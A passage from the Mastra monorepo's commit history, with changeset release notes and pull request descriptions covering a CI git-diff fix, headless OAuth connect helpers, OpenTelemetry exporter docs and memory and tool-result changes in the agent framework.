[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
  - @mastra/code-sdk@1.19.1-alpha.2
## @mastra/agent-builder@1.2.2-alpha.1

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
## mastra@1.39.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/deployer@1.84.0-alpha.2
## @mastra/deployer@1.84.0-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/editor@0.17.2-alpha.1

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
## @mastra/mcp-docs-server@1.3.14-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
## @mastra/memory@1.41.2-alpha.1

### Patch Changes

- Observational Memory does half as much work per step in long tool
runs. Token counting no longer serializes every plain JSON tool result a
second time just to check it for images, so each step serializes the
earlier tool results twice instead of four times. Token counts are
unchanged. ([#30400](https://github.com/mastra-ai/mastra/pull/30400))

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
## @mastra/playground-ui@69.1.0-alpha.2

### Patch Changes

- Connect providers that use OAuth client credentials (`OAUTH2_CC`) or
no authentication (`NONE`) without leaving Studio. Client-credential
providers ask for a client ID and secret in the connect dialog;
providers with no authentication connect immediately instead of opening
an OAuth popup.
([#30336](https://github.com/mastra-ai/mastra/pull/30336))

Providers whose catalog lists only connection settings (for example a
subdomain) now also ask for their API key, username and password, or
client ID and secret. Previously the dialog showed only the settings,
and the connection failed.

The headless connect helpers in `@mastra/playground-ui/domains/connect`
now return a fully resolved `HeadlessAuthField` and support conditional
fields (`visibleWhen`), so other apps can import them instead of keeping
their own copy.

  ```ts
  import {
    headlessAuthFieldKey,
    headlessAuthFields,
    isHeadlessAuthFieldVisible,
    splitHeadlessAuthValues,
    startHeadlessAuth,
  } from '@mastra/playground-ui/domains/connect';

// Every field comes back fully resolved: label, target, required, and
so on are always set.
  const fields = headlessAuthFields(provider);

// Render only the fields whose `visibleWhen` condition matches the
current values.
const visible = fields.filter(field =>
isHeadlessAuthFieldVisible(fields, field, values));
const missingRequired = visible.some(field => field.required &&
!values[headlessAuthFieldKey(field)]);

  // On submit, values for hidden fields are dropped.
const { credentials, params } = splitHeadlessAuthValues(fields, values);
  await startHeadlessAuth({
    sessionToken,
    integrationId: provider.id,
    authType: provider.authType,
    credentials,
    params,
  }).result;
  ```

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
  - @mastra/client-js@1.60.1-alpha.2
  - @mastra/ai-sdk@1.12.0
  - @mastra/react@1.15.1-alpha.2
## @mastra/server@1.84.0-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
## @mastra/elysia@0.1.24-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/express@1.5.28-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/fastify@1.5.28-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/hono@1.7.26-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/koa@1.7.28-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/nestjs@0.3.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/next@0.2.42-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/hono@1.7.26-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/tanstack-start@0.2.42-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/hono@1.7.26-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/temporal@0.6.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/deployer@1.84.0-alpha.2
## create-mastra@1.39.1-alpha.2


## @internal/playground@1.39.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`2f4a9ed`](2f4a9ed771),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/playground-ui@69.1.0-alpha.2
  - @mastra/client-js@1.60.1-alpha.2
  - @mastra/react@1.15.1-alpha.2

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-14 10:23:58 -08:00
Tyler Barnes
fcb47d2063
ci(test-tiers): keep the git diff fallback working on rebased PRs and unusual filenames (#30413)
## What
The git fallback added in #30409 (it lists a fix's changed files when
GitHub's compare API can't) fails in two cases:

1. **Rebased PRs.** The daily workflow checks main out at depth 1. If
the newer PR head was rebased onto that checkout, fetching it stops at
the shallow boundary while the merge base with the older head lies below
it. `git diff a...b` then fails with "no merge base" and the daily run
crashes.
2. **Unusual filenames.** Without `-z`, git quotes non-ASCII paths
(`"packages/core/src/\303\251.ts"`), which never match a test file.

## Change
`gitDiffFiles` in `scripts/test-tiers/update.mjs` unshallows the clone
(still blobless) when it is shallow, and diffs with `-z`.

## Testing
- New test builds the rebased-head topology with real git and a depth-1
blobless clone, including a file named `é.ts`. It fails on main ("no
merge base"), still fails if either half of the change is removed, and
passes with both.
- `node --test scripts/test-tiers/*.test.mjs`: 45 pass; oxlint, oxfmt
clean.
- On the real repo, in the workflow's topology: 2,609 files in 6.7 s,
`.git` 137 MB.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The test-tier script looks at which files a pull request
changed. In some cases it could not find the starting point it needed,
and it could not handle file names with non-English letters. This change
fixes both problems.

## Overview

This change updates `gitDiffFiles` in `scripts/test-tiers/update.mjs`.
It adds a test in `scripts/test-tiers/update.test.mjs` that covers the
failure case.

## Problems addressed

- **Missing merge base in a shallow checkout.** The daily workflow
checks out the repository at depth 1. When a pull request head is
rebased onto that checkout, the merge base can lie beyond the shallow
boundary. The fetch then does not retrieve it.
- **Quoted non-ASCII file names.** Git quotes non-ASCII file names by
default. The script then does not match those names to test files.

## Changes in `scripts/test-tiers/update.mjs`

- `gitDiffFiles` is now exported. It takes a third argument, `cwd`, and
runs every Git command in that directory. The signature changes from
`(base, head)` to `(base, head, cwd)`.
- The function checks `git rev-parse --is-shallow-repository`. If the
repository is shallow, it adds `--unshallow` to the fetch. The fetch
keeps `--filter=blob:none`, so the clone stays blobless.
- The function runs `git diff --name-only -z --no-renames base...head`.
It splits the output on NUL characters, not newlines. File names are
therefore returned literally.

## Changes in `scripts/test-tiers/update.test.mjs`

- The test imports `gitDiffFiles` and the Node modules it needs for
temporary files and Git commands.
- The test builds a local origin repository. The `main` branch contains
two later commits. An older PR branch forks below them. A newer PR
branch, rebased onto `main`, adds `packages/core/src/é.ts`.
- The test makes a depth-1, blobless clone of that origin. It asserts
that `gitDiffFiles(base, head, clone)` returns `a.ts`, `b.ts`, and
`é.ts`.
- The test removes its temporary directory in a `finally` block.

## Verification

- The diff confirms the code and test changes listed above. Diff stats:
2 files changed, 66 insertions, 8 deletions.
- The author reports these results. This review did not run them:
- The new test fails on `main` and fails when either change is removed.
It passes with both changes.
- `node --test scripts/test-tiers/*.test.mjs` passes 45 tests. oxlint
and oxfmt report no issues.
- In the real workflow topology, the change processes 2,609 files in 6.7
seconds. The `.git` directory is 137 MB after unshallowing.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-14 09:39:03 -08:00
Abhi Aiyer
d8928fbde2
fix(factory): preserve Detail finding provenance in linked work items (#30410)
## Summary
- Recognize Detail findings as linked external work items across
storage, rules, and branch source mapping.
- Add a focused provenance test and Factory patch changeset.

## Test plan
- `pnpm exec vitest run src/work-item-branch.test.ts --reporter=dot` (15
passed)
- `pnpm exec oxlint src/rules/types.ts src/rules/validation.ts
src/storage/domains/work-items/base.ts src/work-item-branch.ts
src/work-item-branch.test.ts`
- Syntax checks and `git diff --check`

No typecheck was run.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: Findings from the Detail tool now count as linked work items. The
factory keeps each finding's source and rule name through storage,
rules, branches, and the board source filter.

## Overview

This change treats Detail findings as a linked external work item
source. Before this change, the factory did not recognize Detail
findings as a source. The change adds a `detail-finding` work item
source and maps it across the factory layers. It also adds a `detail`
option to the board source filter, so linked findings can be selected on
the board even without a connected source. The diff covers 10 files,
with 57 lines added and 2 lines removed.

## Changes by area

**Source type and mapping (`mastracode/factory/src/rules/types.ts`)**
- Adds `'detail-finding'` to the `WorkItemSource` union.
- `externalSourceForWorkItem` maps `'detail-finding'` to integration
`detail` and type `finding`.
- `workItemSource` maps an external source with integration `detail` to
`'detail-finding'`.
- Adds the `detailFinding` rule source.
- `factoryRuleSourceForWorkItem` maps `'detail-finding'` to
`detailFinding`.

**Validation (`mastracode/factory/src/rules/validation.ts`)**
- Adds `'detail-finding'` to the `WORK_ITEM_SOURCES` allowlist. Linked
work item decisions accept this source.

**Storage
(`mastracode/factory/src/storage/domains/work-items/base.ts`)**
- `isWorkItemSource` returns true for `'detail-finding'`.

**Branch source mapping (`mastracode/factory/src/work-item-branch.ts`)**
- Adds `'detail-finding'` to the `WorkItemBranchSource` union.
- `workItemBranchSource` maps external sources with integration `detail`
to `'detail-finding'`. Existing mappings and the fallback are unchanged.

**Board source filter
(`mastracode/factory-ui/src/ui/domains/factory/`)**
- `boardSourceFilters.ts` adds a `Detail` option with value `detail` to
`BOARD_SOURCE_OPTIONS`.
- `components/boardFilterFields.tsx` always includes the `detail` option
in source-filter suggestions, regardless of connected sources or
existing selections.
- `components/BoardSourceIcon.tsx` maps the `detail` source to the
`ScanSearch` icon in the muted foreground color.
- `boardSourceFilters.test.ts` adds one test. It checks that "Detail"
appears when no source is connected. It also checks that the `detail`
filter matches a `detail-finding` card without a pull request, and does
not match a `manual` card.

**Tests (`mastracode/factory/src/work-item-branch.test.ts`)**
- Adds one test. It checks that a Detail finding source keeps its
integration ID, type, external ID, and URL. It also checks the mapping
to `'detail-finding'` in the work item and branch vocabularies, and to
`detailFinding` in factory rule sources.

**Changeset (`.changeset/bright-details-link.md`)**
- Adds a patch changeset for `@mastra/factory`.

## Verification

- Diff statistics (10 files, 57 lines added, 2 removed) come from the
pull request diff.
- The author reports that `pnpm exec vitest run
src/work-item-branch.test.ts --reporter=dot` passed 15 tests. This
review did not run the test.
- The author reports oxlint on the listed rules, storage, and work-item
branch files, plus syntax checks and `git diff --check`. This review did
not run these checks.
- The author did not run a typecheck. Type correctness of the new union
members is not verified.
- The board source filter test in `boardSourceFilters.test.ts` has no
reported result.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
2026-11-14 09:38:15 -08:00
Dane - AI (Mastra)
8ee1d5bf0d
chore(deps): update cgr.dev/chainguard/minio docker digest to 0f9fda7 (#30259)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| cgr.dev/chainguard/minio | digest | `db3f583` → `0f9fda7` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/9505) for more information.

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - "before 6am every weekday"
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend Renovate
CLI](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMzYuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIzOS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJhdXRvbWF0aW9uIl19-->
2026-11-14 09:24:35 -08:00
mastra-platform[bot]
dbbe40f04e
docs(observability): document Agnost AI OpenTelemetry exporter setup (#30408)
> Opened by @factory-project:7d5175c3-3a20-42ac-aba9-756f183136f4

## Summary

The OpenTelemetry exporter page lists platforms that work through the
generic `custom` provider but leaves out Agnost AI. This adds it: Agnost
AI joins the intro platform list and the HTTP/Protobuf installation
heading, and a new section documents the configuration.

Agnost AI ingests OTLP/HTTP protobuf traces at
`https://otel.agnost.ai/v1/traces` and identifies the organization with
an `X-Agnost-Org-ID` header read from `AGNOST_ORG_ID`. It stores traces
only, so the example sets `signals: { logs: false }` to skip log export,
which the exporter otherwise enables by default against a derived
`/v1/logs` endpoint.

Docs-only, one file, +27/−2. Mirrors the Sazabi section added in #28637
and sits next to it, before Dash0.

Fixes #30406

## Review

**Result:** Approved f16115e9cc

### Checks on this head

| Check | Result |
| - | - |
| Docs checks, whole tree (`pnpm check --no-vale`) | ✅ Passed: 0 errors,
0 warnings, 1008 files |
| Docs check on the changed file (frontmatter, sidebar, mdx, vale,
format, redirects) | ✅ Passed: 0 findings |
| Vale CI gate (`.vale-ci.ini`, `--minAlertLevel=error`) on the changed
file | ✅ Passed |
| Vale on the changed file with `integrations` added to the config glob,
compared against the base version | ✅ Passed: same 4 pre-existing
findings, none from the new section |
| Documented config booted on the real `OtelExporter` (`new` + `init` +
await setup) | ✅ Passed: endpoint `https://otel.agnost.ai/v1/traces`,
protocol `http/protobuf`, `X-Agnost-Org-ID` from `AGNOST_ORG_ID`, traces
set up, no log provider; a control without `signals` does set up log
export |
| Documented snippet typechecked against the package's public types
(`tsc --noEmit --strict`) | ✅ Passed |
| Vendor links resolve (`https://agnost.ai`,
`https://docs.agnost.ai/mastra`) | ✅ Passed: both 200 |
| `git diff --check` | ✅ Passed |

**Not run:** full Docusaurus site build. It is heavy and the MDX compile
check covers the edited file, which is the same gap the Sazabi precedent
(PR #28637) left open.

### Verification notes

- `signals` is a top-level sibling of `provider` in
`OtelExporterConfig`, not nested inside `provider.custom`. The section
places it correctly, and `signals: { logs: false }` is what actually
skips log export (`setupAllSignals` gates logs on `signals?.logs !==
false`). Without it the exporter derives `/v1/logs` from the trace
endpoint and sets up log export, exactly as the page's own Signals
section describes.
- `resolveCustomConfig` accepts `endpoint`, `protocol`, and `headers`
together and defaults `headers` to `{}`, so the `X-Agnost-Org-ID` header
reaches the OTLP exporter.
- `tracingOptions.metadata` is real and reaches spans: `getOrCreateSpan`
merges it into span metadata and `span-converter` emits each key as
`mastra.metadata.<key>`, so the grouping explanation matches the
implementation.
- Scope matches the approved plan: one MDX file, +27/−2, no source,
sidebar, redirect, or changeset changes. Placement after Sazabi and
before Dash0 groups it with the other `custom`-provider vendors.

### Follow-ups

- `.vale.ini` only globs `src/content/en/{docs,guides,reference}`, so
prose rules never run on `integrations/` pages. With `integrations` in
the glob this file carries 4 pre-existing error-level findings (line 16
Metacommentary, line 558 SemicolonUsage, line 768 Contractions twice);
none come from this change.
- `### Protocol selection guide` lists no `custom`-provider vendors
(Sazabi, telemetry.dev, MLflow, Latitude), so Agnost AI is left out too,
consistent with existing practice.

**Adversarial check:** tried to break the central claim by booting the
real exporter with the documented config and with a control that omits
`signals`, and by checking the header default path; the section is
accurate in both cases.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: This change adds setup steps for Agnost AI to the OpenTelemetry
exporter docs. Users can now send Mastra traces to Agnost AI with a
short config.

Technical summary:

This PR updates one documentation file:
`docs/src/content/en/integrations/observability/opentelemetry.mdx`. It
makes no code changes.

Changes:
- Adds Agnost AI to the exporter platform list in the intro.
- Adds Agnost AI to the "For HTTP/Protobuf providers" installation
heading.
- Adds a new `#### Agnost AI` section after the Sazabi section. The
section covers:
- The `custom` provider with `endpoint:
'https://otel.agnost.ai/v1/traces'` and `protocol: 'http/protobuf'`.
  - An `X-Agnost-Org-ID` header read from `AGNOST_ORG_ID`.
  - `signals: { logs: false }`, because Agnost AI stores traces only.
- A note that Agnost AI reads `userId` and `conversationId` (or
`threadId`) from `tracingOptions.metadata` to group traces.
  - A link to Agnost AI's Mastra guide.

Diff size: 1 file changed, 27 lines added, 2 lines removed.

Verification: The diff confirms the changes listed above. The PR
objectives report a docs check (`pnpm check --no-vale`) and an MDX
compile check on the edited file. The full Docusaurus site build was not
run. Results from CI on the current head are not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-14 09:06:26 -08:00
Tyler Barnes
42d7edf89c
ci(test-tiers): stop the daily tier update crashing on large diffs (#30409) 2026-11-14 09:37:36 -07:00
Tyler Barnes
9eae9680d2
fix(memory): serialize tool results half as often in long Observational Memory runs (#30400) 2026-11-14 09:36:02 -07:00
Jamie Nichols
5b7f130224
test(core): cover a child scope added to an existing Knowledge scope's declaration (#29925)
## Description

Adds a test for the condition that sends a held Knowledge scope back to
the store when its declaration lists a child scope that doesn't exist
yet.

Since #29775, a write run skips the store call for a held scope that
already exists, whose parent hasn't changed, whose declaration has no
template pages, and whose declared child scopes all exist
(`#materialize` in `packages/core/src/knowledge/scope-runtime.ts`).
Existing tests in `write-start-scopes.test.ts` fail when the parent or
template-page condition is replaced with `true`. Replacing the
child-scope condition with `true` leaves all 9 passing, so nothing in
that file would catch a write run that stops creating a child scope
added to an existing scope's declaration.

The new test materializes `team:t1` with no children and checks that
`team:t1/internal` doesn't exist. It then runs a write start with
`children: [{ name: 'internal' }]` and checks that `team:t1/internal`
now exists under `team:t1`.

## Testing

- `pnpm --filter @mastra/core exec vitest run
src/knowledge/__tests__/write-start-scopes.test.ts`: 10 passed (9
existing, 1 new).
- With the child-scope condition replaced by `true`, the new test fails
(`expected undefined to be defined`) and the other 9 pass.
- `oxlint` and `prettier --check` are clean on the file.

### Postgres check of #29775

I also ran #29775 against Postgres 16 (`pgvector/pgvector:0.8.4-pg16`).
That script imports the scope runtime from core source, so it isn't part
of this PR.

- Compared with the per-scope loop from before #29775, each in its own
schema, the batched start produced the same scope trees (parent,
declaration, name, description, template pages), warnings and errors.
The start sequences covered a conflicting held parent, an unplaced scope
getting linked once its parent is held, ambiguous parents,
template-child principals, `belongsTo` cycles, and 2,301 held scopes. A
template page deleted outside Knowledge was recreated the same way by
both.
- On the batched start only: a child scope added to an existing scope's
declaration was created, and a `belongsTo` added to an existing scope's
declaration set its parent.
- 8 concurrent cold batched starts over the same 201 scopes all
succeeded. All 201 scopes existed afterwards, every project was under
the org, and no address appeared on more than one scope row.
- `materializeScope` calls for 2,301 held scopes: a first write went
from 4,601 (the old loop materialized the shared parent again for each
project) to 2,301 plus one batched lookup, and a repeat write from 2,301
to 0. In one local run on Docker for macOS, the repeat write took 11 ms
against 7.0 s before.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## ELI5

This PR adds a test for a team that already exists when its declaration
gains a child scope. The test checks that the next materialization
creates the new child.

## Changes

- Added a test in
`packages/core/src/knowledge/__tests__/write-start-scopes.test.ts`.
- The test first materializes `team:t1` without children and confirms
`team:t1/internal` is absent.
- It then materializes `team:t1` with `children: [{ name: 'internal' }]`
and checks that the child scope exists.

## Checks

- Test, lint, and formatting results: not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: Jamie Lee Nichols <10267569+CodingButter@users.noreply.github.com>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-14 07:34:14 -08:00
arctic-char
2f4a9ed771
feat(connect): share the headless connect helpers (#30336)
## Summary

Studio and the platform dashboard both connect integrations headlessly:
they render their own credential form and drive the Nango frontend SDK
instead of sending users to Nango's hosted Connect UI. Each had its own
copy of the helpers, and the copies drifted. This makes
`@mastra/playground-ui/domains/connect` the single implementation, and
the dashboard will import it (follow-up platform PR).

**Shared, richer field model**
- `headlessAuthFields` now returns a fully resolved `HeadlessAuthField`
(label, description, default value, format, pattern, options,
prefix/suffix, docs URL, warnings, `visibleWhen`, secret, required,
order). The wire type `UserConnectAuthField` gains these as optional
props, and sparse data (e.g. older servers) gets defaults.
- New `isHeadlessAuthFieldVisible`. `splitHeadlessAuthValues` skips
fields hidden by `visibleWhen`.

**More providers connect headlessly**
- `OAUTH2_CC`: built-in Client ID / Client secret fields. The SDK
submits them to Nango's `/oauth2/auth` with no popup.
- `NONE`: calls `nango.create()` (`/auth/unauthenticated`) instead of
`nango.auth()`, which would have opened an OAuth popup.
- Built-in credential fields (API key, Basic, client credentials) are
now appended when the catalog lists only connection params. Before, a
Basic provider with just a `subdomain` field got a form with no username
or password.

Still on the hosted UI: `TBA`, `JWT`, `BILL`, `SIGNATURE`, `AWS_SIGV4`
(these need per-type SDK discriminators) and `INSTALL_PLUGIN` (the SDK
has no headless path).

## Test plan

- [x] New `domains/connect/__tests__/headless-connect.test.ts` (31
tests): supported auth types, field normalization, built-in field
merging, `visibleWhen` visibility and splitting, `NONE` → `create()`,
`OAUTH2_CC` → `auth()` with credentials
- [x] Existing connect and Studio connections tests pass
- [x] `playground-ui` and `playground` typecheck clean; oxlint clean

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

This change moves the code that connects third-party apps into one
shared place. A future platform dashboard can reuse that code instead of
keeping its own copy.

## Overview

This PR makes `packages/playground-ui/src/domains/connect` the shared
implementation of headless connect helpers. Studio uses these helpers
now. The platform dashboard import is planned for a follow-up PR.

The change:
- Adds optional metadata to connect auth fields.
- Adds headless support for `NONE` and `OAUTH2_CC`.
- Adds built-in credential fields when the catalog lists only connection
parameters.
- Adds conditional field visibility through `visibleWhen`.
- Updates the Studio connect dialog to display and validate only visible
fields.

The PR description says these auth types stay on the hosted UI: `TBA`,
`JWT`, `BILL`, `SIGNATURE`, `AWS_SIGV4`, and `INSTALL_PLUGIN`.

## Changes by file

- `.changeset/headless-connect-client-credentials.md`: Adds a patch
changeset for `@mastra/playground-ui`. It describes:
- `OAUTH2_CC` requests a Client ID and Client secret in the connect
dialog.
  - `NONE` connects without an OAuth popup.
- Built-in credential fields are added when the catalog lists only
connection parameters.
  - Headless connect helpers are exported and support `visibleWhen`.
- `packages/playground-ui/src/domains/connect/types.ts` (+13): Adds
optional fields to `UserConnectAuthField`:
- `defaultValue`, `format`, `pattern`, `options`, `prefix`, `suffix`,
`documentationUrl`, `warnings`
  - `visibleWhen?: { field: string; equals: string } | null`
- `packages/playground-ui/src/domains/connect/headless-connect.ts`
(+166/-70): Main logic changes.
- Adds `NONE` to headless support. It calls `nango.create()` instead of
`nango.auth()`.
- Adds built-in credential fields for API key, Basic, and `OAUTH2_CC`
flows. For `OAUTH2_CC`, these fields are Client ID and Client secret.
  - Normalizes catalog fields into resolved `HeadlessAuthField` values.
- Appends built-in credentials only when catalog fields contain no
credentials.
- Keeps `TWO_STEP` supported only when catalog fields include
credentials.
- Applies `visibleWhen` to field visibility. `splitHeadlessAuthValues`
omits hidden fields.
  - Moves the auth request options into a helper.
-
`packages/playground-ui/src/domains/connect/__tests__/headless-connect.test.ts`
(+219): Adds Vitest coverage for:
  - Headless auth support classification
  - Normalization of catalog fields and built-in credentials
  - Separation of credentials and parameters
  - `visibleWhen` filtering
- `startHeadlessAuth` calls for OAuth client credentials,
unauthenticated connections, and OAuth popup handling
-
`packages/playground/src/pages/connections/__tests__/fixtures/user-connect.ts`
(+27): Adds the exported `regionalProvidersResponse` fixture. It has one
API-key provider. The required `region` parameter comes before a
required `apiKey` credential. The `apiKey` credential is visible only
when `region` equals `eu`.
- `packages/playground/src/pages/connections/__tests__/index.test.tsx`
(+47): Adds a `ConnectionsPage` test that uses
`regionalProvidersResponse`. The API key is hidden and not required when
`region` is unset or `us`. When `region` is `eu`, the API key is shown,
and Connect stays disabled until a key is entered.
-
`packages/playground/src/pages/connections/components/add-connection-dialog.tsx`
(+3/-1): Imports `isHeadlessAuthFieldVisible`. The dialog displays only
visible fields. Required-field validation checks only the displayed
fields.

## API changes

- Added interface `HeadlessAuthField`.
- Added type `HeadlessAuthFieldFormat = 'hostname' | 'uri' | 'uuid' |
'email'`.
- Added interface `HeadlessAuthProvider { authType?: string | null;
authFields?: readonly UserConnectAuthField[] | null }`.
- Changed `headlessAuthFields` to accept `HeadlessAuthProvider` and
return `HeadlessAuthField[]`.
- Changed `headlessAuthRequiresForm` to accept `HeadlessAuthProvider`.
- Added `isHeadlessAuthFieldVisible(fields, field, values): boolean`.
- Changed `splitHeadlessAuthValues` to accept `readonly
UserConnectAuthField[]`.

## Verification

- Diff size: 7 files changed, 506 lines added, 71 lines removed.
- The PR description reports 31 tests in `headless-connect.test.ts`. It
also reports passing connect and Studio connection tests. These results
are not verified here.
- The PR description reports clean `playground-ui` and `playground`
typechecks and oxlint runs. These results are not verified here.
- CI results for the current head: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-14 07:33:42 -08:00
Tyler Barnes
547600d004
fix(core): let processToolResult see and rewrite toModelOutput results (#30401)
## What

Output processors can now see and rewrite what the model actually
receives from a tool that uses `toModelOutput`.

Before this change, `processToolResult` only received the tool's raw
`result`. When a tool mapped that result with `toModelOutput` (for
example a file viewer that returns screenshots as images), the mapping
had already been computed, so a processor could change the raw result
while the mapped output, images included, went to the next model call
and into stored history unchanged. A processor that shrinks or removes
oversized images had no way to reach them, and memory processors counted
and observed the originals.

## How

- `processToolResult` now receives `modelOutput`, the tool's mapped
output.
- A processor replaces it by committing a `result`-state part with the
new value in `providerMetadata.mastra.modelOutput` (via
